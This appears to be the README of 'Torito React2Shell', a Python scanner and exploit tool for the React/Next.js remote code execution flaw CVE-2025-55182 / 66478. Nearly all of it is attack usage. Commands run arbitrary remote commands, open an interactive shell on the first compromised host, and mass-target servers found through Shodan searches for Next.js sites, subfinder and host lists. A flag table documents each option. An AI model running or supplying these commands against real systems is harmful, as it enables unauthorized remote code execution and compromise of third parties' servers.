
Torito React2Shell Scanner & Exploit Tool (CVE-2025-55182 / 66478)
pip install -r requirements.txtPATH for --subfinder (install via Homebrew brew install subfinder or Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest; project: https://github.com/projectdiscovery/subfinder)pip install shodan (already in requirements) and a key: export SHODAN_API_KEY=... with available query creditspython3 torito_r2s.py --help
Safe probe (single target)
python3 torito_r2s.py -u https://target.com
PoC confirm (side-channel redirect)
python3 torito_r2s.py -u https://target.com --confirm
Exploit with custom command
python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"
Interactive shell on first hit
python3 torito_r2s.py -u https://target.com --shell
List scan with exports
python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv
Shodan-only (needs key and credits)
export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm
Subfinder-only
python3 torito_r2s.py --subfinder target.com --confirm
Proxy (Burp/Caido)
python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm
Pipeline via stdin
cat urls.txt | python3 torito_r2s.py --confirm
--exploit-cmd or --shell.| Flag | Description | Default |
|---|
-u, --url URL | Single target URL | — |
-l, --list FILE | File with targets (one per line) | — |
--subfinder DOMAIN | Run subfinder for domain and add results | — |
--shodan QUERY | Shodan search (needs SHODAN_API_KEY with credits) | — |
--shodan-limit N | Max Shodan results per query | 100 |
-t, --threads N | Concurrency | 20 |
--timeout SEC | Request timeout | 10 |
--proxy URL | HTTP/HTTPS proxy | — |
--confirm | Run redirect-based PoC after probe | off |
--exploit-cmd "CMD" | Run RCE payload with command | — |
--shell, -i | Open interactive shell on first exploit success (defaults cmd to id) | off |
--json-out FILE | Save JSON results | — |
--csv-out FILE | Save CSV results | — |
-v, --verbose | Show decoded outputs/digests in table | off |